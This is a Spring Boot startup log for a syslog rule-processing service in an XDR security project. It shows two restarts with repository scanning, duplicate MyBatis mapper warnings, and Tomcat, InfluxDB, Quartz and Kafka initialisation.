2026-05-18 18:50:33.724 [main] INFO o.s.d.r.c.RepositoryConfigurationExtensionSupport - Spring Data Reactive Elasticsearch - Could not safely identify store assignment for repository candidate interface com.common.service.AppLogRepository; If you want this repository to be a Reactive Elasticsearch repository, consider annotating your entities with one of these annotations: org.springframework.data.elasticsearch.annotations.Document (preferred), or consider extending one of the following types with your repository: org.springframework.data.elasticsearch.repository.ReactiveElasticsearchRepository
|
||||
2026-05-18 18:50:33.724 [main] INFO o.s.d.r.c.RepositoryConfigurationDelegate - Finished Spring Data repository scanning in 162 ms. Found 0 Reactive Elasticsearch repository interfaces.
|
||||
2026-05-18 18:50:33.735 [main] INFO o.s.d.r.c.RepositoryConfigurationDelegate - Multiple Spring Data modules found, entering strict repository configuration mode
|
||||
2026-05-18 18:50:33.736 [main] INFO o.s.d.r.c.RepositoryConfigurationDelegate - Bootstrapping Spring Data Redis repositories in DEFAULT mode.
|
||||
2026-05-18 18:50:33.872 [main] INFO o.s.d.r.c.RepositoryConfigurationExtensionSupport - Spring Data Redis - Could not safely identify store assignment for repository candidate interface com.common.service.AppLogRepository; If you want this repository to be a Redis repository, consider annotating your entities with one of these annotations: org.springframework.data.redis.core.RedisHash (preferred), or consider extending one of the following types with your repository: org.springframework.data.keyvalue.repository.KeyValueRepository
|
||||
2026-05-18 18:50:33.872 [main] INFO o.s.d.r.c.RepositoryConfigurationDelegate - Finished Spring Data repository scanning in 128 ms. Found 0 Redis repository interfaces.
|
||||
2026-05-18 18:50:34.016 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'alarmMapper' and 'com.common.mapper.AlarmMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 18:50:34.017 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'alarmVisitMapper' and 'com.common.mapper.AlarmVisitMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 18:50:34.017 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'analysisAnalysisRuleMapper' and 'com.common.mapper.AnalysisAnalysisRuleMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 18:50:34.017 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'analysisFieldMapper' and 'com.common.mapper.AnalysisFieldMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 18:50:34.017 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'analysisFilterMapper' and 'com.common.mapper.AnalysisFilterMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 18:50:34.017 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'analysisGroupByColumnMapper' and 'com.common.mapper.AnalysisGroupByColumnMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 18:50:34.017 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'analysisGroupByHavingMapper' and 'com.common.mapper.AnalysisGroupByHavingMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 18:50:34.017 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'analysisGroupByMapper' and 'com.common.mapper.AnalysisGroupByMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 18:50:34.017 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'analysisGroupByWindowMapper' and 'com.common.mapper.AnalysisGroupByWindowMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 18:50:34.017 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'analysisTaskHistoryMapper' and 'com.common.mapper.AnalysisTaskHistoryMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 18:50:34.017 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'analysisWhereConditionMapper' and 'com.common.mapper.AnalysisWhereConditionMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 18:50:34.018 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'appLogMapper' and 'com.common.mapper.AppLogMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 18:50:34.018 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'deviceCollectHeartbeatHistoryMapper' and 'com.common.mapper.DeviceCollectHeartbeatHistoryMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 18:50:34.018 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'deviceCollectHeartbeatMapper' and 'com.common.mapper.DeviceCollectHeartbeatMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 18:50:34.018 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'deviceCollectTaskMapper' and 'com.common.mapper.DeviceCollectTaskMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 18:50:34.018 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'deviceDeviceMapper' and 'com.common.mapper.DeviceDeviceMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 18:50:34.018 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'deviceInterlockingCmdMapper' and 'com.common.mapper.DeviceInterlockingCmdMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 18:50:34.020 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'deviceInterlockingLogMapper' and 'com.common.mapper.DeviceInterlockingLogMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 18:50:34.020 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'deviceInterlockingMapper' and 'com.common.mapper.DeviceInterlockingMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 18:50:34.020 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'deviceReceiveLogMapper' and 'com.common.mapper.DeviceReceiveLogMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 18:50:34.020 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'dmColumnMapper' and 'com.common.mapper.DmColumnMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 18:50:34.020 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'dmNormalizeRuleMapper' and 'com.common.mapper.DmNormalizeRuleMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 18:50:34.020 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'normalizeRuleStatsMapper' and 'com.common.mapper.NormalizeRuleStatsMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 18:50:34.020 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'secExceptionAlgorithmMapper' and 'com.common.mapper.SecExceptionAlgorithmMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 18:50:34.020 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'syslogNonNormalMessageMapper' and 'com.common.mapper.SyslogNonNormalMessageMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 18:50:34.020 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'syslogNormalAlarmMapper' and 'com.common.mapper.SyslogNormalAlarmMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 18:50:34.020 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'syslogNormalDataMapper' and 'com.common.mapper.SyslogNormalDataMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 18:50:34.021 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'wecomNotificationMapper' and 'com.common.mapper.WecomNotificationMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 18:50:34.021 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'xdrHoneypotMapper' and 'com.common.mapper.XdrHoneypotMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 18:50:34.021 [main] WARN o.m.s.mapper.ClassPathMapperScanner - No MyBatis mapper was found in '[com.common.mapper]' package. Please check your configuration.
|
||||
2026-05-18 18:50:34.696 [main] INFO o.s.b.w.e.tomcat.TomcatWebServer - Tomcat initialized with port(s): 8289 (http)
|
||||
2026-05-18 18:50:34.704 [main] INFO o.a.coyote.http11.Http11NioProtocol - Initializing ProtocolHandler ["http-nio-8289"]
|
||||
2026-05-18 18:50:34.706 [main] INFO o.a.catalina.core.StandardService - Starting service [Tomcat]
|
||||
2026-05-18 18:50:34.706 [main] INFO o.a.catalina.core.StandardEngine - Starting Servlet engine: [Apache Tomcat/9.0.65]
|
||||
2026-05-18 18:50:34.931 [main] INFO o.a.c.c.C.[.[.[/xdrservice] - Initializing Spring embedded WebApplicationContext
|
||||
2026-05-18 18:50:34.932 [main] INFO o.s.b.w.s.c.ServletWebServerApplicationContext - Root WebApplicationContext: initialization completed in 4181 ms
|
||||
2026-05-18 18:50:34.983 [main] INFO o.s.b.f.a.AutowiredAnnotationBeanPostProcessor - Autowired annotation is not supported on static fields: private static com.common.service.DmColumnService com.syslogRuleApplication.dmColumnService
|
||||
2026-05-18 18:50:37.814 [main] INFO com.influx.InfluxDBClient - InfluxDB connection successful: ready for queries and writes
|
||||
2026-05-18 18:50:38.257 [main] WARN c.b.m.core.injector.AbstractMethod - [com.common.mapper.DeviceCollectTaskMapper.insert] Has been loaded by XML or SqlProvider or Mybatis's Annotation, so ignoring this injection for [class com.baomidou.mybatisplus.core.injector.methods.Insert]
|
||||
2026-05-18 18:50:38.269 [main] WARN c.b.m.core.injector.AbstractMethod - [com.common.mapper.DeviceCollectTaskMapper.update] Has been loaded by XML or SqlProvider or Mybatis's Annotation, so ignoring this injection for [class com.baomidou.mybatisplus.core.injector.methods.Update]
|
||||
2026-05-18 18:50:38.282 [main] WARN c.b.m.core.injector.AbstractMethod - [com.common.mapper.DeviceCollectTaskMapper.deleteById] Has been loaded by XML or SqlProvider or Mybatis's Annotation, so ignoring this injection for [class com.baomidou.mybatisplus.core.injector.methods.DeleteById]
|
||||
2026-05-18 18:50:38.285 [main] WARN c.b.m.core.injector.AbstractMethod - [com.common.mapper.DeviceCollectTaskMapper.selectById] Has been loaded by XML or SqlProvider or Mybatis's Annotation, so ignoring this injection for [class com.baomidou.mybatisplus.core.injector.methods.SelectById]
|
||||
2026-05-18 18:50:38.335 [main] ERROR c.b.m.core.MybatisConfiguration - mapper[com.common.mapper.SecExceptionAlgorithmMapper.findById] is ignored, because it exists, maybe from xml file
|
||||
2026-05-18 18:50:43.989 [main] INFO com.influx.InfluxDBClient - InfluxDB connection successful: ready for queries and writes
|
||||
2026-05-18 18:50:44.652 [main] INFO com.common.util.MyBatisUtil - MyBatis 初始化成功
|
||||
2026-05-18 18:50:44.688 [main] INFO o.s.b.f.a.AutowiredAnnotationBeanPostProcessor - Autowired annotation is not supported on static fields: private static com.common.service.DmColumnService com.syslogApplication.dmColumnService
|
||||
2026-05-18 18:50:45.286 [main] INFO org.quartz.impl.StdSchedulerFactory - Using default implementation for ThreadExecutor
|
||||
2026-05-18 18:50:45.295 [main] INFO o.quartz.core.SchedulerSignalerImpl - Initialized Scheduler Signaller of type: class org.quartz.core.SchedulerSignalerImpl
|
||||
2026-05-18 18:50:45.295 [main] INFO org.quartz.core.QuartzScheduler - Quartz Scheduler v.2.3.2 created.
|
||||
2026-05-18 18:50:45.296 [main] INFO org.quartz.simpl.RAMJobStore - RAMJobStore initialized.
|
||||
2026-05-18 18:50:45.297 [main] INFO org.quartz.core.QuartzScheduler - Scheduler meta-data: Quartz Scheduler (v2.3.2) 'quartzScheduler' with instanceId 'NON_CLUSTERED'
|
||||
Scheduler class: 'org.quartz.core.QuartzScheduler' - running locally.
|
||||
NOT STARTED.
|
||||
Currently in standby mode.
|
||||
Number of jobs executed: 0
|
||||
Using thread pool 'org.quartz.simpl.SimpleThreadPool' - with 10 threads.
|
||||
Using job-store 'org.quartz.simpl.RAMJobStore' - which does not support persistence. and is not clustered.
|
||||
|
||||
2026-05-18 18:50:45.297 [main] INFO org.quartz.impl.StdSchedulerFactory - Quartz scheduler 'quartzScheduler' initialized from an externally provided properties instance.
|
||||
2026-05-18 18:50:45.297 [main] INFO org.quartz.impl.StdSchedulerFactory - Quartz scheduler version: 2.3.2
|
||||
2026-05-18 18:50:45.297 [main] INFO org.quartz.core.QuartzScheduler - JobFactory set to: org.springframework.scheduling.quartz.SpringBeanJobFactory@249f95a2
|
||||
2026-05-18 18:50:45.463 [main] INFO o.a.kafka.common.utils.AppInfoParser - Kafka version: 3.4.0
|
||||
2026-05-18 18:50:45.463 [main] INFO o.a.kafka.common.utils.AppInfoParser - Kafka commitId: 2e1947d240607d53
|
||||
2026-05-18 18:50:45.463 [main] INFO o.a.kafka.common.utils.AppInfoParser - Kafka startTimeMs: 1779101445462
|
||||
2026-05-18 18:50:45.483 [main] INFO o.a.kafka.common.utils.AppInfoParser - Kafka version: 3.4.0
|
||||
2026-05-18 18:50:45.483 [main] INFO o.a.kafka.common.utils.AppInfoParser - Kafka commitId: 2e1947d240607d53
|
||||
2026-05-18 18:50:45.483 [main] INFO o.a.kafka.common.utils.AppInfoParser - Kafka startTimeMs: 1779101445483
|
||||
2026-05-18 18:50:45.486 [main] INFO o.a.coyote.http11.Http11NioProtocol - Starting ProtocolHandler ["http-nio-8289"]
|
||||
2026-05-18 18:50:45.498 [main] INFO o.s.b.w.e.tomcat.TomcatWebServer - Tomcat started on port(s): 8289 (http) with context path '/xdrservice'
|
||||
2026-05-18 18:50:45.500 [main] INFO o.s.s.quartz.SchedulerFactoryBean - Starting Quartz Scheduler now
|
||||
2026-05-18 18:50:45.501 [main] INFO org.quartz.core.QuartzScheduler - Scheduler quartzScheduler_$_NON_CLUSTERED started.
|
||||
2026-05-18 18:50:45.515 [main] INFO com.syslogRuleApplication - Started syslogRuleApplication in 15.38 seconds (JVM running for 20.371)
|
||||
2026-05-18 18:50:46.230 [org.springframework.kafka.KafkaListenerEndpointContainer#0-1-C-1] INFO o.s.k.l.KafkaMessageListenerContainer - test-group-app: partitions assigned: []
|
||||
2026-05-18 18:50:46.245 [org.springframework.kafka.KafkaListenerEndpointContainer#0-0-C-1] INFO o.s.k.l.KafkaMessageListenerContainer - test-group-app: partitions assigned: [test-topic-0]
|
||||
2026-05-18 18:52:58.346 [background-preinit] INFO o.h.validator.internal.util.Version - HV000001: Hibernate Validator 6.2.5.Final
|
||||
2026-05-18 18:52:58.347 [main] INFO com.syslogRuleApplication - Starting syslogRuleApplication using Java 1.8.0_121 on LAPTOP-ARDUR3N0 with PID 30452 (E:\GIT_GOSAME\ai-security-xdr\haobang-security-xdr\syslog-consumer-rule\target\classes started by chenc in E:\GIT_GOSAME\ai-security-xdr\haobang-security-xdr)
|
||||
2026-05-18 18:52:58.350 [main] INFO com.syslogRuleApplication - No active profile set, falling back to 1 default profile: "default"
|
||||
2026-05-18 18:53:01.803 [main] INFO o.s.d.r.c.RepositoryConfigurationDelegate - Multiple Spring Data modules found, entering strict repository configuration mode
|
||||
2026-05-18 18:53:01.806 [main] INFO o.s.d.r.c.RepositoryConfigurationDelegate - Bootstrapping Spring Data Elasticsearch repositories in DEFAULT mode.
|
||||
2026-05-18 18:53:02.346 [main] INFO o.s.d.r.c.RepositoryConfigurationDelegate - Finished Spring Data repository scanning in 535 ms. Found 1 Elasticsearch repository interfaces.
|
||||
2026-05-18 18:53:02.354 [main] INFO o.s.d.r.c.RepositoryConfigurationDelegate - Multiple Spring Data modules found, entering strict repository configuration mode
|
||||
2026-05-18 18:53:02.355 [main] INFO o.s.d.r.c.RepositoryConfigurationDelegate - Bootstrapping Spring Data Reactive Elasticsearch repositories in DEFAULT mode.
|
||||
2026-05-18 18:53:02.512 [main] INFO o.s.d.r.c.RepositoryConfigurationExtensionSupport - Spring Data Reactive Elasticsearch - Could not safely identify store assignment for repository candidate interface com.common.service.AppLogRepository; If you want this repository to be a Reactive Elasticsearch repository, consider annotating your entities with one of these annotations: org.springframework.data.elasticsearch.annotations.Document (preferred), or consider extending one of the following types with your repository: org.springframework.data.elasticsearch.repository.ReactiveElasticsearchRepository
|
||||
2026-05-18 18:53:02.513 [main] INFO o.s.d.r.c.RepositoryConfigurationDelegate - Finished Spring Data repository scanning in 156 ms. Found 0 Reactive Elasticsearch repository interfaces.
|
||||
2026-05-18 18:53:02.526 [main] INFO o.s.d.r.c.RepositoryConfigurationDelegate - Multiple Spring Data modules found, entering strict repository configuration mode
|
||||
2026-05-18 18:53:02.527 [main] INFO o.s.d.r.c.RepositoryConfigurationDelegate - Bootstrapping Spring Data Redis repositories in DEFAULT mode.
|
||||
2026-05-18 18:53:02.664 [main] INFO o.s.d.r.c.RepositoryConfigurationExtensionSupport - Spring Data Redis - Could not safely identify store assignment for repository candidate interface com.common.service.AppLogRepository; If you want this repository to be a Redis repository, consider annotating your entities with one of these annotations: org.springframework.data.redis.core.RedisHash (preferred), or consider extending one of the following types with your repository: org.springframework.data.keyvalue.repository.KeyValueRepository
|
||||
2026-05-18 18:53:02.665 [main] INFO o.s.d.r.c.RepositoryConfigurationDelegate - Finished Spring Data repository scanning in 128 ms. Found 0 Redis repository interfaces.
|
||||
2026-05-18 18:53:02.840 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'alarmMapper' and 'com.common.mapper.AlarmMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 18:53:02.840 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'alarmVisitMapper' and 'com.common.mapper.AlarmVisitMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 18:53:02.841 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'analysisAnalysisRuleMapper' and 'com.common.mapper.AnalysisAnalysisRuleMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 18:53:02.841 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'analysisFieldMapper' and 'com.common.mapper.AnalysisFieldMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 18:53:02.841 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'analysisFilterMapper' and 'com.common.mapper.AnalysisFilterMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 18:53:02.841 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'analysisGroupByColumnMapper' and 'com.common.mapper.AnalysisGroupByColumnMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 18:53:02.841 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'analysisGroupByHavingMapper' and 'com.common.mapper.AnalysisGroupByHavingMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 18:53:02.841 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'analysisGroupByMapper' and 'com.common.mapper.AnalysisGroupByMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 18:53:02.841 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'analysisGroupByWindowMapper' and 'com.common.mapper.AnalysisGroupByWindowMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 18:53:02.841 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'analysisTaskHistoryMapper' and 'com.common.mapper.AnalysisTaskHistoryMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 18:53:02.841 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'analysisWhereConditionMapper' and 'com.common.mapper.AnalysisWhereConditionMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 18:53:02.841 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'appLogMapper' and 'com.common.mapper.AppLogMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 18:53:02.842 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'deviceCollectHeartbeatHistoryMapper' and 'com.common.mapper.DeviceCollectHeartbeatHistoryMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 18:53:02.842 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'deviceCollectHeartbeatMapper' and 'com.common.mapper.DeviceCollectHeartbeatMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 18:53:02.842 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'deviceCollectTaskMapper' and 'com.common.mapper.DeviceCollectTaskMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 18:53:02.842 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'deviceDeviceMapper' and 'com.common.mapper.DeviceDeviceMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 18:53:02.842 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'deviceInterlockingCmdMapper' and 'com.common.mapper.DeviceInterlockingCmdMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 18:53:02.843 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'deviceInterlockingLogMapper' and 'com.common.mapper.DeviceInterlockingLogMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 18:53:02.844 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'deviceInterlockingMapper' and 'com.common.mapper.DeviceInterlockingMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 18:53:02.844 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'deviceReceiveLogMapper' and 'com.common.mapper.DeviceReceiveLogMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 18:53:02.844 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'dmColumnMapper' and 'com.common.mapper.DmColumnMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 18:53:02.844 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'dmNormalizeRuleMapper' and 'com.common.mapper.DmNormalizeRuleMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 18:53:02.844 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'normalizeRuleStatsMapper' and 'com.common.mapper.NormalizeRuleStatsMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 18:53:02.844 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'secExceptionAlgorithmMapper' and 'com.common.mapper.SecExceptionAlgorithmMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 18:53:02.844 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'syslogNonNormalMessageMapper' and 'com.common.mapper.SyslogNonNormalMessageMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 18:53:02.844 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'syslogNormalAlarmMapper' and 'com.common.mapper.SyslogNormalAlarmMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 18:53:02.844 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'syslogNormalDataMapper' and 'com.common.mapper.SyslogNormalDataMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 18:53:02.844 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'wecomNotificationMapper' and 'com.common.mapper.WecomNotificationMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 18:53:02.844 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'xdrHoneypotMapper' and 'com.common.mapper.XdrHoneypotMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 18:53:02.844 [main] WARN o.m.s.mapper.ClassPathMapperScanner - No MyBatis mapper was found in '[com.common.mapper]' package. Please check your configuration.
|
||||
2026-05-18 18:53:03.468 [main] INFO o.s.b.w.e.tomcat.TomcatWebServer - Tomcat initialized with port(s): 8289 (http)
|
||||
2026-05-18 18:53:03.477 [main] INFO o.a.coyote.http11.Http11NioProtocol - Initializing ProtocolHandler ["http-nio-8289"]
|
||||
2026-05-18 18:53:03.478 [main] INFO o.a.catalina.core.StandardService - Starting service [Tomcat]
|
||||
2026-05-18 18:53:03.478 [main] INFO o.a.catalina.core.StandardEngine - Starting Servlet engine: [Apache Tomcat/9.0.65]
|
||||
2026-05-18 18:53:03.723 [main] INFO o.a.c.c.C.[.[.[/xdrservice] - Initializing Spring embedded WebApplicationContext
|
||||
2026-05-18 18:53:03.723 [main] INFO o.s.b.w.s.c.ServletWebServerApplicationContext - Root WebApplicationContext: initialization completed in 5300 ms
|
||||
2026-05-18 18:53:03.780 [main] INFO o.s.b.f.a.AutowiredAnnotationBeanPostProcessor - Autowired annotation is not supported on static fields: private static com.common.service.DmColumnService com.syslogRuleApplication.dmColumnService
|
||||
2026-05-18 18:53:06.530 [main] INFO com.influx.InfluxDBClient - InfluxDB connection successful: ready for queries and writes
|
||||
2026-05-18 18:53:06.973 [main] WARN c.b.m.core.injector.AbstractMethod - [com.common.mapper.DeviceCollectTaskMapper.insert] Has been loaded by XML or SqlProvider or Mybatis's Annotation, so ignoring this injection for [class com.baomidou.mybatisplus.core.injector.methods.Insert]
|
||||
2026-05-18 18:53:06.989 [main] WARN c.b.m.core.injector.AbstractMethod - [com.common.mapper.DeviceCollectTaskMapper.update] Has been loaded by XML or SqlProvider or Mybatis's Annotation, so ignoring this injection for [class com.baomidou.mybatisplus.core.injector.methods.Update]
|
||||
2026-05-18 18:53:07.006 [main] WARN c.b.m.core.injector.AbstractMethod - [com.common.mapper.DeviceCollectTaskMapper.deleteById] Has been loaded by XML or SqlProvider or Mybatis's Annotation, so ignoring this injection for [class com.baomidou.mybatisplus.core.injector.methods.DeleteById]
|
||||
2026-05-18 18:53:07.009 [main] WARN c.b.m.core.injector.AbstractMethod - [com.common.mapper.DeviceCollectTaskMapper.selectById] Has been loaded by XML or SqlProvider or Mybatis's Annotation, so ignoring this injection for [class com.baomidou.mybatisplus.core.injector.methods.SelectById]
|
||||
2026-05-18 18:53:07.069 [main] ERROR c.b.m.core.MybatisConfiguration - mapper[com.common.mapper.SecExceptionAlgorithmMapper.findById] is ignored, because it exists, maybe from xml file
|
||||
2026-05-18 18:53:13.347 [main] INFO com.influx.InfluxDBClient - InfluxDB connection successful: ready for queries and writes
|
||||
2026-05-18 18:53:14.137 [main] INFO com.common.util.MyBatisUtil - MyBatis 初始化成功
|
||||
2026-05-18 18:53:14.176 [main] INFO o.s.b.f.a.AutowiredAnnotationBeanPostProcessor - Autowired annotation is not supported on static fields: private static com.common.service.DmColumnService com.syslogApplication.dmColumnService
|
||||
2026-05-18 18:53:14.805 [main] INFO org.quartz.impl.StdSchedulerFactory - Using default implementation for ThreadExecutor
|
||||
2026-05-18 18:53:14.817 [main] INFO o.quartz.core.SchedulerSignalerImpl - Initialized Scheduler Signaller of type: class org.quartz.core.SchedulerSignalerImpl
|
||||
2026-05-18 18:53:14.817 [main] INFO org.quartz.core.QuartzScheduler - Quartz Scheduler v.2.3.2 created.
|
||||
2026-05-18 18:53:14.818 [main] INFO org.quartz.simpl.RAMJobStore - RAMJobStore initialized.
|
||||
2026-05-18 18:53:14.819 [main] INFO org.quartz.core.QuartzScheduler - Scheduler meta-data: Quartz Scheduler (v2.3.2) 'quartzScheduler' with instanceId 'NON_CLUSTERED'
|
||||
Scheduler class: 'org.quartz.core.QuartzScheduler' - running locally.
|
||||
NOT STARTED.
|
||||
Currently in standby mode.
|
||||
Number of jobs executed: 0
|
||||
Using thread pool 'org.quartz.simpl.SimpleThreadPool' - with 10 threads.
|
||||
Using job-store 'org.quartz.simpl.RAMJobStore' - which does not support persistence. and is not clustered.
|
||||
|
||||
2026-05-18 18:53:14.819 [main] INFO org.quartz.impl.StdSchedulerFactory - Quartz scheduler 'quartzScheduler' initialized from an externally provided properties instance.
|
||||
2026-05-18 18:53:14.819 [main] INFO org.quartz.impl.StdSchedulerFactory - Quartz scheduler version: 2.3.2
|
||||
2026-05-18 18:53:14.819 [main] INFO org.quartz.core.QuartzScheduler - JobFactory set to: org.springframework.scheduling.quartz.SpringBeanJobFactory@1e7b277a
|
||||
2026-05-18 18:53:15.035 [main] INFO o.a.kafka.common.utils.AppInfoParser - Kafka version: 3.4.0
|
||||
2026-05-18 18:53:15.035 [main] INFO o.a.kafka.common.utils.AppInfoParser - Kafka commitId: 2e1947d240607d53
|
||||
2026-05-18 18:53:15.035 [main] INFO o.a.kafka.common.utils.AppInfoParser - Kafka startTimeMs: 1779101595033
|
||||
